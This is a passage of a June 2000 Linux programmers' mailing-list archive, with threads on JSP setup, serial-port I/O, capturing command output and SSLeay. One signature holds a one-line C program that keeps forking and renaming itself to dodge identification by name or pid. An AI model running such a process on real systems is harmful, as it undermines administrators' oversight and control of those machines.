201-229-119-122) with ESMTP id <20000609055712.IXSH6582.gigi.excite.com@slippery> for ; Thu, 8 Jun 2000 22:57:12 -0700 Message-ID: <28079789.960530232174.JavaMail.imail@slippery> Date: Thu, 8 Jun 2000 22:57:12 -0700 (PDT) From: "K.Uday kumar" To: linux-india-programmers@lists.linux-india.org Subject: JSP Under linux Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: Excite Inbox X-Sender-Ip: 196.12.45.68 X-Archive-Number: 200006/59 Hello everyone, I am a new bie to java on linux. I have been trying to get Servlets and Jsp working with the Apache websever.I was successful with the servlets part of it but JSP is still not on. I downloaded a jsp engine called gnujsp but am jst not able to configure it. Can anyone help me out. Thanks in Advance. _______________________________________________________ Get 100% FREE Internet Access powered by Excite Visit http://freelane.excite.com/freeisp From linux-india-programmers-owner@lists.linux-india.org Fri Jun 9 00:22:58 2000 Received: from gg2ns.delhi.tcs.co.in (unknown [202.54.61.36]) by www.aunet.org (Postfix) with ESMTP id 4EC0D38050 for ; Fri, 9 Jun 2000 00:22:51 -0700 (PDT) Received: from MAILGG2.delhi.tcs.co.in (mailgg2 [157.227.2.117]) by gg2ns.delhi.tcs.co.in (8.9.1b+Sun/8.9.1) with SMTP id MAA02259 for ; Fri, 9 Jun 2000 12:22:33 -0500 (GMT) Received: from delhi.tcs.co.in ([157.227.12.225]) by MAILGG2.delhi.tcs.co.in (Lotus SMTP MTA v4.6.1 (569.2 2-6-1998)) with SMTP id 652568F9.0028A098; Tue, 9 Jun 1970 12:53:45 +0530 Message-ID: <39409AFD.2D76AC33@delhi.tcs.co.in> Date: Fri, 09 Jun 2000 12:51:33 +0530 From: Rohit Singh Organization: TCS X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.12-20smp i686) X-Accept-Language: en MIME-Version: 1.0 Cc: linux-india-programmers@lists.linux-india.org Subject: Re: JSP Under linux Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/60 Hi Uday, You can use either Jakarta-Tomcat(http://jakarta.apache.org) as a module in Apache or use JSWDK for Linux available from Sun's Java site.(http://java.sun.com). Both packages come configured with support for JSPs as well as Servlets. Regards, Rohit -- Your good nature will bring unbounded happiness. From linux-india-programmers-owner@lists.linux-india.org Fri Jun 9 01:36:34 2000 Received: from agni.wipinfo.soft.net (agni.wipinfo.soft.net [164.164.6.20]) by www.aunet.org (Postfix) with ESMTP id 6781138070 for ; Fri, 9 Jun 2000 01:36:16 -0700 (PDT) Received: from vayu.wipinfo.soft.net (vayu [192.168.200.170]) by agni.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id OAA07147 for ; Fri, 9 Jun 2000 14:00:05 +0500 (GMT) Received: from sarovar.mail.wipro.com ([192.168.2.18]) by vayu.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id OAA11926 for ; Fri, 9 Jun 2000 14:02:19 +0500 (GMT) Received: from webmail ([192.168.2.18]) by sarovar.mail.wipro.com (Netscape Messaging Server 3.6) with SMTP id AAA5CF8 for ; Fri, 9 Jun 2000 14:03:54 +0530 From: "Sharad Joshi" To: linux-india-programmers@lists.linux-india.org Subject: interacting with serial driver X-Mailer: Netscape Messenger Express 3.5.2 [Mozilla/4.7 [en] (Win98; I)] Date: Fri, 9 Jun 2000 14:03:54 +0530 Message-ID: <773681ECD1A.AAA5CF8@sarovar.mail.wipro.com> X-Archive-Number: 200006/61 Hello folks, Can anyone please tell me how do i send chatacters over a serial line (say ttyS0). I want to make use of the serial driver (serial.c) functions. But the problem is, most of the functions are static. How do i interact with the driver. (uh.. the driver is built with the kernel). Never done any serious kernel hacking, but i think i'll need to generate some kind of software interrupt, isn't it? Any guiding link or pointer would be very helpful. Using slack 7, 2.2.13k here. TIA, Sharad. From linux-india-programmers-owner@lists.linux-india.org Fri Jun 9 02:19:31 2000 Received: from tilmax.tatainfotech.co.in (tilmax.tatainfotech.co.in [202.54.16.133]) by www.aunet.org (Postfix) with ESMTP id 229373809C for ; Fri, 9 Jun 2000 02:19:09 -0700 (PDT) Received: from seepzmail.in.tatainfotech.com (seepzmail.in.tatainfotech.com [163.122.32.22]) by tilmax.tatainfotech.co.in (8.8.7/8.8.7) with ESMTP id OAA01854 for ; Fri, 9 Jun 2000 14:48:56 +0530 Received: from localhost (shridhar.daithankar@localhost) by seepzmail.in.tatainfotech.com (8.8.7/8.8.7) with ESMTP id OAA03672 for ; Fri, 9 Jun 2000 14:45:31 +0530 Date: Fri, 9 Jun 2000 14:45:31 +0530 (IST) From: Shridhar Daithankar X-Sender: shridhar.daithankar@seepzmail.in.tatainfotech.com To: linux-india-programmers@lists.linux-india.org Subject: Re: interacting with serial driver In-Reply-To: <773681ECD1A.AAA5CF8@sarovar.mail.wipro.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/62 Hi Simple solution I can guess is 'open("/dev/ttyS0",O_RDONLY);'. Check Syntax. Unless you are seriously interested in handling everything on your own. HTH Bye Shridhar On Fri, 9 Jun 2000, Sharad Joshi wrote: > Hello folks, > > Can anyone please tell me how do i send chatacters over a serial line (say > ttyS0). I want to make use of the serial driver (serial.c) functions. But From linux-india-programmers-owner@lists.linux-india.org Fri Jun 9 02:25:25 2000 Received: from agni.wipinfo.soft.net (agni.wipinfo.soft.net [164.164.6.20]) by www.aunet.org (Postfix) with ESMTP id F3D3738085 for ; Fri, 9 Jun 2000 02:25:13 -0700 (PDT) Received: from vayu.wipinfo.soft.net (vayu [192.168.200.170]) by agni.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id OAA10454 for ; Fri, 9 Jun 2000 14:51:43 +0500 (GMT) Received: from sarovar.mail.wipro.com ([192.168.2.18]) by vayu.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id OAA16072 for ; Fri, 9 Jun 2000 14:53:57 +0500 (GMT) Received: from yaksha.wipinfo.soft.net ([192.168.2.78]) by sarovar.mail.wipro.com (Netscape Messaging Server 3.6) with ESMTP id AAA1C94; Fri, 9 Jun 2000 14:55:32 +0530 Date: Fri, 9 Jun 2000 15:03:58 +0530 (IST) From: "Sharad Joshi" X-Sender: sharadj@yaksha.wipinfo.soft.net Reply-To: Sharad Joshi To: Shridhar Daithankar Cc: linux-india-programmers@lists.linux-india.org Subject: Re: interacting with serial driver In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/63 Well, the case is, i want to do, what "open" or "write" or "read" does at the lowest level, just above the driver. Sharad. On Fri, 9 Jun 2000, Shridhar Daithankar wrote: + Simple solution I can guess is 'open("/dev/ttyS0",O_RDONLY);'. Check + Syntax. Unless you are seriously interested in handling everything on your + own. + + On Fri, 9 Jun 2000, Sharad Joshi wrote: + + > Hello folks, + > + > Can anyone please tell me how do i send chatacters over a serial line (say + > ttyS0). I want to make use of the serial driver (serial.c) functions. But From linux-india-programmers-owner@lists.linux-india.org Fri Jun 9 02:33:44 2000 Received: from tilmax.tatainfotech.co.in (tilmax.tatainfotech.co.in [202.54.16.133]) by www.aunet.org (Postfix) with ESMTP id 7C26E3805C for ; Fri, 9 Jun 2000 02:33:02 -0700 (PDT) Received: from seepzmail.in.tatainfotech.com (seepzmail.in.tatainfotech.com [163.122.32.22]) by tilmax.tatainfotech.co.in (8.8.7/8.8.7) with ESMTP id PAA02445; Fri, 9 Jun 2000 15:02:28 +0530 Received: from localhost (shridhar.daithankar@localhost) by seepzmail.in.tatainfotech.com (8.8.7/8.8.7) with ESMTP id OAA06351; Fri, 9 Jun 2000 14:59:03 +0530 Date: Fri, 9 Jun 2000 14:59:03 +0530 (IST) From: Shridhar Daithankar X-Sender: shridhar.daithankar@seepzmail.in.tatainfotech.com To: Sharad Joshi Cc: linux-india-programmers@lists.linux-india.org Subject: Re: interacting with serial driver In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/64 Hi I suppose open/close, read/write are just above the driver. Correct me if I am wrong... Bye Shridhar On Fri, 9 Jun 2000, Sharad Joshi wrote: > Well, the case is, i want to do, what "open" or "write" or "read" does at > the lowest level, just above the driver. From linux-india-programmers-owner@lists.linux-india.org Fri Jun 9 02:35:55 2000 Received: from arianne.ishoni.com (unknown [164.164.83.132]) by www.aunet.org (Postfix) with ESMTP id A88D638094 for ; Fri, 9 Jun 2000 02:35:49 -0700 (PDT) Received: from kedar.in.ishoni.com (IDENT:kedar@kedar.in.ishoni.com [192.168.1.75]) by arianne.ishoni.com (8.9.3/8.9.3) with ESMTP id PAA24039 for ; Fri, 9 Jun 2000 15:06:40 +0530 Date: Fri, 9 Jun 2000 15:09:36 +0530 (IST) From: Kedar Patankar X-Sender: kedar@kedar.in.ishoni.com To: linux-india-programmers@lists.linux-india.org Subject: Re: interacting with serial driver In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/65 > Well, the case is, i want to do, what "open" or "write" or "read" does at > the lowest level, just above the driver. At the very core "open" just turns on the DTR on the serial port. "Write" essentially just does a outb(SERIAL_DATA_PORT) and a status check, and "read" is tricky. It will block you till enough chars are available (depending on whether you have non-blocking mode set in "open"), and when the serial interrupt occurs the driver will actually read the chars and put them in the buffer. Eventually waking up your prog when enough are accumulated. You can do what the "open" and "write" do in userland, but you won't be able to service interrupts from userland. AFAIK, you can put 8250 (and hence 16550) in polled I/O modes too, and can do the polling from userland. But you will *hog* the CPU in doing so, and you hvae to be root to touch I/O ports directly.. Regards, Kedar. From linux-india-programmers-owner@lists.linux-india.org Fri Jun 9 02:36:09 2000 Received: from gg2ns.delhi.tcs.co.in (unknown [202.54.61.36]) by www.aunet.org (Postfix) with ESMTP id 499DD38101 for ; Fri, 9 Jun 2000 02:36:03 -0700 (PDT) Received: from MAILGG2.delhi.tcs.co.in (mailgg2 [157.227.2.117]) by gg2ns.delhi.tcs.co.in (8.9.1b+Sun/8.9.1) with SMTP id OAA03003 for ; Fri, 9 Jun 2000 14:35:48 -0500 (GMT) Received: by MAILGG2.delhi.tcs.co.in(Lotus SMTP MTA v4.6.1 (569.2 2-6-1998)) id 652568F9.0034D3F1 ; Fri, 9 Jun 2000 15:07:01 +0530 X-Lotus-FromDomain: TCSDELHI From: "Prateek Gera" To: linux-india-programmers@lists.linux-india.org Message-ID: <652568F9.00338A8E.00@MAILGG2.delhi.tcs.co.in> Date: Fri, 9 Jun 2000 15:06:56 +0530 Subject: Re: interacting with serial driver Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline X-Archive-Number: 200006/66 >Can anyone please tell me how do i send chatacters over a serial line (say >ttyS0). I want to make use of the serial driver (serial.c) functions. But It can be happen by using ttyS0 device. First open the device file and then follow read/write operations. . . fd = open("/dev/ttyS0", O_RDWR|O_NOCTTY); write(fd, char, 1); . . when you access node /dev/ttyS0, it is directly associated with the driver "serial.c" through the major number, therefore you need not worry about using serial.c You require root permissions for doing this. >serious kernel hacking, but i think i'll need to generate some kind of >software interrupt, isn't it? Also you need not worry about handling interrupts while writing a user level prg. the driver does it for you itself. For more info see Linux Device Drivers by Rubini. prateek From linux-india-programmers-owner@lists.linux-india.org Fri Jun 9 02:39:06 2000 Received: from gg2ns.delhi.tcs.co.in (unknown [202.54.61.36]) by www.aunet.org (Postfix) with ESMTP id ABF7F380B7 for ; Fri, 9 Jun 2000 02:39:00 -0700 (PDT) Received: from MAILGG2.delhi.tcs.co.in (mailgg2 [157.227.2.117]) by gg2ns.delhi.tcs.co.in (8.9.1b+Sun/8.9.1) with SMTP id OAA03019 for ; Fri, 9 Jun 2000 14:38:46 -0500 (GMT) Received: by MAILGG2.delhi.tcs.co.in(Lotus SMTP MTA v4.6.1 (569.2 2-6-1998)) id 652568F9.00351A10 ; Fri, 9 Jun 2000 15:10:00 +0530 X-Lotus-FromDomain: TCSDELHI From: "Prateek Gera" To: linux-india-programmers@lists.linux-india.org Message-ID: <652568F9.0034E639.00@MAILGG2.delhi.tcs.co.in> Date: Fri, 9 Jun 2000 15:09:56 +0530 Subject: Re: interacting with serial driver Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline X-Archive-Number: 200006/67 >Well, the case is, i want to do, what "open" or "write" or "read" does at >the lowest level, just above the driver. I guess what you want to do is write your own serial driver. In that case you wont be using open/write/read calls. From linux-india-programmers-owner@lists.linux-india.org Fri Jun 9 03:00:25 2000 Received: from agni.wipinfo.soft.net (agni.wipinfo.soft.net [164.164.6.20]) by www.aunet.org (Postfix) with ESMTP id 5DCD538132 for ; Fri, 9 Jun 2000 02:59:57 -0700 (PDT) Received: from vayu.wipinfo.soft.net (vayu [192.168.200.170]) by agni.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id PAA12017 for ; Fri, 9 Jun 2000 15:26:17 +0500 (GMT) Received: from sarovar.mail.wipro.com ([192.168.2.18]) by vayu.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id PAA17989 for ; Fri, 9 Jun 2000 15:28:31 +0500 (GMT) Received: from yaksha.wipinfo.soft.net ([192.168.2.78]) by sarovar.mail.wipro.com (Netscape Messaging Server 3.6) with ESMTP id AAA3E97; Fri, 9 Jun 2000 15:30:05 +0530 Date: Fri, 9 Jun 2000 15:38:32 +0530 (IST) From: "Sharad Joshi" X-Sender: sharadj@yaksha.wipinfo.soft.net Reply-To: Sharad Joshi To: Kedar Patankar , Prateek Gera Cc: linux-india-programmers@lists.linux-india.org Subject: Re: interacting with serial driver In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/68 On Fri, 9 Jun 2000, Kedar Patankar wrote: + > Well, the case is, i want to do, what "open" or "write" or "read" does at + > the lowest level, just above the driver. + + At the very core "open" just turns on the DTR on the serial port. + "Write" essentially just does a outb(SERIAL_DATA_PORT) and a status check, + and "read" is tricky. It will block you till enough chars are available + (depending on whether you have non-blocking mode set in "open"), and when + the serial interrupt occurs the driver will actually read the chars and + put them in the buffer. Eventually waking up your prog when enough are + accumulated. While that is true, i need to do that myself, w/o relying on "open" etc. :( for some reasons. Also, i am not doing this at the user level, but in kernel proper. Yeah, writing my own serial driver is another option, but again, due to certain restraints, i _have_ to use the underlying one :( Sharad. From linux-india-programmers-owner@lists.linux-india.org Fri Jun 9 05:57:01 2000 Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210]) by www.aunet.org (Postfix) with ESMTP id 9FB943805C for ; Fri, 9 Jun 2000 05:56:56 -0700 (PDT) Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19]) by atlrel1.hp.com (Postfix) with ESMTP id EDC82A552 for ; Fri, 9 Jun 2000 08:56:55 -0400 (EDT) Received: from red.india.hp.com (red.india.hp.com [15.10.43.6]) by l3107mxr.atl.hp.com (Postfix) with ESMTP id 63716513BE for ; Fri, 9 Jun 2000 06:35:57 -0400 (EDT) Received: from india.hp.com (sachin@localhost [127.0.0.1]) by red.india.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id QAA22275 for ; Fri, 9 Jun 2000 16:56:31 +0530 (IST) Message-ID: <3940D466.D6EF8FDB@india.hp.com> Date: Fri, 09 Jun 2000 16:56:30 +0530 From: Sachin Garg Organization: Hewlett Packard ISO X-Mailer: Mozilla 4.7 [en] (X11; I; HP-UX B.10.20 9000/712) X-Accept-Language: en MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: interacting with serial driver Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/69 Sharad Joshi wrote: > > On Fri, 9 Jun 2000, Kedar Patankar wrote: > > + > Well, the case is, i want to do, what "open" or "write" or "read" does at > + > the lowest level, just above the driver. > + > + At the very core "open" just turns on the DTR on the serial port. > + "Write" essentially just does a outb(SERIAL_DATA_PORT) and a status check, > + and "read" is tricky. It will block you till enough chars are available > + (depending on whether you have non-blocking mode set in "open"), and when > + the serial interrupt occurs the driver will actually read the chars and > + put them in the buffer. Eventually waking up your prog when enough are > + accumulated. > > While that is true, i need to do that myself, w/o relying on "open" etc. > :( for some reasons. Also, i am not doing this at the user level, but in > kernel proper. > > Yeah, writing my own serial driver is another option, but again, due to > certain restraints, i _have_ to use the underlying one :( I don't know what your reasons are, but I would suggest: use the kernel driver. It would make code more portable. Also use the POSIX calls. Check out Richard W. Stevens "Advanced Programming in the Unix Environment", chapter 10, I think. If u *really* must do it on your own, u need to go down and talk directly to the hardware. For a normal PC, u would need to get the specs of the UART. U would also need to register your open(), read(), write() and close() calls with the kernel. IMHO, doubt that there is any way u can actually avoid using open(), read(), write() and close(). Your serial device is actually a *file* and these are the calls that *actually* map onto the driver developer's device specific functions. So, why do u want to duplicate the serial driver? It exists and works well. If u have a new UART or multiport serial board, right, go ahead, but then provide the standard API. For details on driver writing, check out the Linux Device Drivers book, published by O'Reilly. Indian Edition: Shroff publishers. sachin From linux-india-programmers-owner@lists.linux-india.org Fri Jun 9 08:14:19 2000 Received: from gigi.excite.com (unknown [199.172.152.110]) by www.aunet.org (Postfix) with ESMTP id 22E6638050 for ; Fri, 9 Jun 2000 06:54:57 -0700 (PDT) Received: from neon.excite.com ([199.172.153.87]) by gigi.excite.com (InterMail vM.4.01.02.39 201-229-119-122) with ESMTP id <20000609135451.CCJU20337.gigi.excite.com@neon.excite.com> for ; Fri, 9 Jun 2000 06:54:51 -0700 Message-ID: <31174648.960558891850.JavaMail.imail@neon.excite.com> Date: Fri, 9 Jun 2000 06:54:51 -0700 (PDT) From: bharat shetty To: linux-india-programmers@lists.linux-india.org Subject: Re: interacting with serial driver Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: Excite Inbox X-Sender-Ip: 203.197.172.211 X-Archive-Number: 200006/70 Are you sure this is for linux not for some OS - maybe some variant of RTLinux( I think this is the reason ). If so subscribe to the rtlinux mailing-list or atleast specify the full problem. Hoping to help you. On Fri, 09 Jun 2000 16:56:30 +0530, linux-india-programmers@lists.linux-india.org wrote: > Sharad Joshi wrote: > > blah. blah blah ..... _______________________________________________________ Get 100% FREE Internet Access powered by Excite Visit http://freelane.excite.com/freeisp From linux-india-programmers-owner@lists.linux-india.org Fri Jun 9 08:34:51 2000 Received: from bgl2.vsnl.net.in (bgl2.vsnl.net.in [202.54.12.46]) by www.aunet.org (Postfix) with ESMTP id AF16638067 for ; Fri, 9 Jun 2000 08:34:44 -0700 (PDT) Received: from linux.sankyasys (PPP-181-100.bng.vsnl.net.in [203.197.181.100]) by bgl2.vsnl.net.in (8.9.3/8.9.3) with ESMTP id UAA08205 for ; Fri, 9 Jun 2000 20:49:49 +0530 (IST) Received: (from kala@localhost) by linux.sankyasys (8.9.3/8.8.7) id UAA09356 for linux-india-programmers@lists.linux-india.org; Fri, 9 Jun 2000 20:56:33 +0530 Date: Fri, 9 Jun 2000 20:56:33 +0530 From: Babu Kalakrishnan To: linux-india-programmers@lists.linux-india.org Subject: Re: interacting with serial driver Message-ID: <20000609205633.C9016@linux.sankyasys> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3us In-Reply-To: <652568F9.00338A8E.00@MAILGG2.delhi.tcs.co.in> X-Operating-System: Linux - Red Hat 6.1 (PCQ) X-Kernel: Kernel 2.2.12-20 on an i686 Organization: Sankya Systems & Objects (P) Ltd., Bangalore, India X-Archive-Number: 200006/71 On Fri, Jun 09, 2000 at 03:06:56PM +0530, Prateek Gera typed: > > when you access node /dev/ttyS0, it is directly associated with the driver > "serial.c" through the major number, therefore you need not worry about > using serial.c > You require root permissions for doing this. > Or change the r/w permissions on the /dev/ttyS0 device. > Also you need not worry about handling interrupts while writing a user > level prg. the driver does it for you itself. That's certainly an advantage- (And probably the right thing to do). Kala From linux-india-programmers-owner@lists.linux-india.org Fri Jun 9 08:34:58 2000 Received: from bgl2.vsnl.net.in (bgl2.vsnl.net.in [202.54.12.46]) by www.aunet.org (Postfix) with ESMTP id 07A4238075 for ; Fri, 9 Jun 2000 08:34:48 -0700 (PDT) Received: from linux.sankyasys (PPP-181-100.bng.vsnl.net.in [203.197.181.100]) by bgl2.vsnl.net.in (8.9.3/8.9.3) with ESMTP id UAA08237 for ; Fri, 9 Jun 2000 20:49:52 +0530 (IST) Received: (from kala@localhost) by linux.sankyasys (8.9.3/8.8.7) id UAA09341 for linux-india-programmers@lists.linux-india.org; Fri, 9 Jun 2000 20:53:20 +0530 Date: Fri, 9 Jun 2000 20:53:20 +0530 From: Babu Kalakrishnan To: linux-india-programmers@lists.linux-india.org Subject: Re: interacting with serial driver Message-ID: <20000609205320.B9016@linux.sankyasys> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3us In-Reply-To: X-Operating-System: Linux - Red Hat 6.1 (PCQ) X-Kernel: Kernel 2.2.12-20 on an i686 Organization: Sankya Systems & Objects (P) Ltd., Bangalore, India X-Archive-Number: 200006/72 On Fri, Jun 09, 2000 at 03:09:36PM +0530, Kedar Patankar typed: > > Well, the case is, i want to do, what "open" or "write" or "read" does at > > the lowest level, just above the driver. > > At the very core "open" just turns on the DTR on the serial port. > "Write" essentially just does a outb(SERIAL_DATA_PORT) and a status check, > and "read" is tricky. It will block you till enough chars are available > (depending on whether you have non-blocking mode set in "open"), and when > the serial interrupt occurs the driver will actually read the chars and > put them in the buffer. Eventually waking up your prog when enough are > accumulated. > Can't select() be used for doing non-blocking reads ? Kala From linux-india-programmers-owner@lists.linux-india.org Fri Jun 9 18:15:33 2000 Received: from mail-gw4.njit.edu (mail-gw4.njit.edu [128.235.251.32]) by www.aunet.org (Postfix) with ESMTP id 72F5E38089 for ; Fri, 9 Jun 2000 18:15:28 -0700 (PDT) Received: from cadmium.njit.edu (cadmium.njit.edu [128.235.204.75]) by mail-gw4.njit.edu (8.10.0/8.10.0) with ESMTP id e5A1FQl26037 for ; Fri, 9 Jun 2000 21:15:27 -0400 Received: from localhost (sxs2244@localhost) by cadmium.njit.edu (8.8.5/8.8.5) with SMTP id VAA03646 for ; Fri, 9 Jun 2000 21:15:25 -0400 (EDT) Date: Fri, 9 Jun 2000 21:15:25 -0400 (EDT) From: "Srinath Subbaramu, MS CIS" To: linux-india-programmers@lists.linux-india.org Subject: A question. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/73 Hello, I have a small problem - may be a silly one.. :-( I want to execute unix commands on a remote server, and print the output of the command on the client. But, my problem is how to capture the output of the command. If I say system ("pwd"), a child will be created, the command will be executed, print on std output and then the child dies. I don't want to redirect the output to a file (system ("pwd > myfile");) as it is very expensive to create the file, read from it and then delete it. Is there a better way of doing it? Thanks, Srinath. From linux-india-programmers-owner@lists.linux-india.org Sat Jun 10 00:19:29 2000 Received: from ewey.excite.com (ewey-rwcmta.excite.com [198.3.99.191]) by www.aunet.org (Postfix) with ESMTP id 635013809F for ; Sat, 10 Jun 2000 00:19:24 -0700 (PDT) Received: from slippery ([199.172.153.106]) by ewey.excite.com (InterMail vM.4.01.02.39 201-229-119-122) with ESMTP id <20000610071918.BVBC19870.ewey.excite.com@slippery> for ; Sat, 10 Jun 2000 00:19:18 -0700 Message-ID: <20795756.960621558827.JavaMail.imail@slippery> Date: Sat, 10 Jun 2000 00:19:18 -0700 (PDT) From: "K.Uday kumar" To: linux-india-programmers@lists.linux-india.org Subject: Re: A question. Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: Excite Inbox X-Sender-Ip: 196.12.45.68 X-Archive-Number: 200006/74 hai, you could use the popen function uday. > If I say system ("pwd"), a child will be created, the command will be > executed, print on std output and then the child dies. > > Thanks, > Srinath. > _______________________________________________________ Get 100% FREE Internet Access powered by Excite Visit http://freelane.excite.com/freeisp From linux-india-programmers-owner@lists.linux-india.org Sat Jun 10 00:29:43 2000 Received: from mail.vsnl.com (mail.vsnl.com [202.54.1.80]) by www.aunet.org (Postfix) with ESMTP id C2A773809F for ; Sat, 10 Jun 2000 00:29:35 -0700 (PDT) Received: from alice.bombay.retortsoft.com (unknown [203.197.60.54]) by mail.vsnl.com (VMailer) with ESMTP id 71B114D530; Sat, 10 Jun 2000 12:58:59 -0500 (GMT) Received: from jediland.bombay.retortsoft.com (jediland.bombay.retortsoft.com [192.168.100.33]) by alice.bombay.retortsoft.com (8.9.3/8.9.3) with ESMTP id NAA10895 for ; Sat, 10 Jun 2000 13:06:05 +0530 Received: (from binand@localhost) by jediland.bombay.retortsoft.com (8.9.3/8.9.3) id SAA07194 for linux-india-programmers@lists.linux-india.org; Sat, 10 Jun 2000 18:33:52 +0530 Date: Sat, 10 Jun 2000 18:33:51 +0530 From: "Binand Raj S." To: Linux India Programmers Subject: Re: A question. Message-ID: <20000610183351.C3699@bombay.retortsoft.com> Mail-Followup-To: Linux India Programmers Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: ; from sxs2244@oak.njit.edu on Fri, Jun 09, 2000 at 09:15:25PM -0400 X-Operating-System: Linux 2.2.12-20 X-Editor: VIM - Vi IMproved 5.6a BETA X-Organization: Retort Software Pvt. Ltd. X-Surviving-On: Oxygen, Coffee and Unix X-Archive-Number: 200006/75 Srinath Subbaramu, MS CIS forced the electrons to say: > I have a small problem - may be a silly one.. :-( Are these two problems, or one problem? > I want to execute unix commands on a remote server, and print the output > of the command on the client. But, my problem is how to capture the > output of the command. explore rsh, ssh etc. Check the man pages. > I don't want to redirect the output to a file (system ("pwd > myfile");) > as it is very expensive to create the file, read from it and then delete > it. It is all that expensive, but of course, YMMV. :-) What you can do is, pipe(), fork(), dup2() the child's stdout to the write end of the pipe and execl() the command to run. The parent should be executing read() on the pipe's read end. No disk involved, and you get the output of your program. Of course, there are other issues, the parent should install a handler for SIGCHLD, waitpid() in that handler etc. Check out Stevens' book for more details. Binand -- main(int c,char **v){while(!fork()){strcpy(v[0],tmpnam(0));sleep(1);}} A program that changes its name and pid every second. Try this program at your own risk! ---> Binand <--- From linux-india-programmers-owner@lists.linux-india.org Sat Jun 10 02:48:15 2000 Received: from svrhydmail.hydbad.tcs.co.in (unknown [196.12.38.40]) by www.aunet.org (Postfix) with SMTP id 8724938066 for ; Sat, 10 Jun 2000 02:48:05 -0700 (PDT) Received: from hydbad.tcs.co.in ([172.19.8.216]) by svrhydmail.hydbad.tcs.co.in (Lotus SMTP MTA v4.6.3 (733.2 10-16-1998)) with SMTP id 652568FA.0035FE44; Sat, 10 Jun 2000 15:19:45 +0530 Message-ID: <394165F0.23CD7187@hydbad.tcs.co.in> Date: Sat, 10 Jun 2000 03:17:28 +0530 From: "Ravi Prakash B.V." X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.12-20smp i686) X-Accept-Language: en MIME-Version: 1.0 To: Linux India Programmers Subject: Benmark for SSLeay Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/76 hi to everybody, This is my first mail to the mailing list. I need a help in SSLeay. Using ssleay I am generating certificates, signature, CSR etc.... What's I need is : 1. Is there bench marking to compare different algorithms(RC4, DES, IDEA etc) used in encryption and signing..(MD5, SHA etc). 2. What's the overhead in terms of bits added with message blocks while sending the encrypted data in the ssl session? I hope u will help in it.... Advance Thanks and Regards, Ravi Prakash From linux-india-programmers-owner@lists.linux-india.org Sat Jun 10 07:26:44 2000 Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by www.aunet.org (Postfix) with ESMTP id 9601D3807E for ; Sat, 10 Jun 2000 07:26:38 -0700 (PDT) Received: from northrelay03.pok.ibm.com (northrelay03.pok.ibm.com [9.117.200.23]) by e1.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id KAA107770 for ; Sat, 10 Jun 2000 10:24:48 -0400 Received: from DemiUrge.in.ibm.com (demiurge.in.ibm.com [9.184.199.132]) by northrelay03.pok.ibm.com (8.8.8m3/NCO v4.9) with ESMTP id KAA91090 for ; Sat, 10 Jun 2000 10:26:33 -0400 Received: by DemiUrge.in.ibm.com (Postfix, from userid 1001) id E0A3E5882D; Sat, 10 Jun 2000 19:56:54 +0530 (IST) Subject: Magic Garden: Explained From: Syed Khader Vali URL: http://www.sidcarter.com/ Operating-System: Turing OS XCVII Disclaimer: Not speaking for anyone in any way, shape, or form. Copyright: Copyright 2000 Syed Khader Vali - All Rights Reserved To: linux-india-programmers@lists.linux-india.org Reply-To: sidgeek@austin.ibm.com Organization: IBM Global Services - India Date: 10 Jun 2000 19:56:53 +0530 Message-ID: <86d7lplihe.fsf@DemiUrge.in.ibm.com> Lines: 19 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200006/77 Hi Folks, I am trying to get hold of the book "The Magic Garden Explained : The Internals of Unix System V Release 4" by Berny GoodHeart. I checked on Amazon and they say the book is out of print. Can anybody help me with obtaining a copy of it. Or if anybody has a copy of it, I would be glad if they could lend me the book for sometime. Or can anybody suggest another book which is as good as the above one ? Does the book by Uresh Vahalia cover the same topic or is it different ? Comments and Suggestions Welcome on the above mentioned books. Thanks Regards - Khader -- Linux poses a real challenge for those with a taste for late-night hacking (and/or conversations with God). Syed Khader Vali (Siddiq) (sid at sidcarter.com) Debian GNU/Linux (Woody) http://www.sidcarter.com From linux-india-programmers-owner@lists.linux-india.org Sat Jun 10 08:12:17 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with 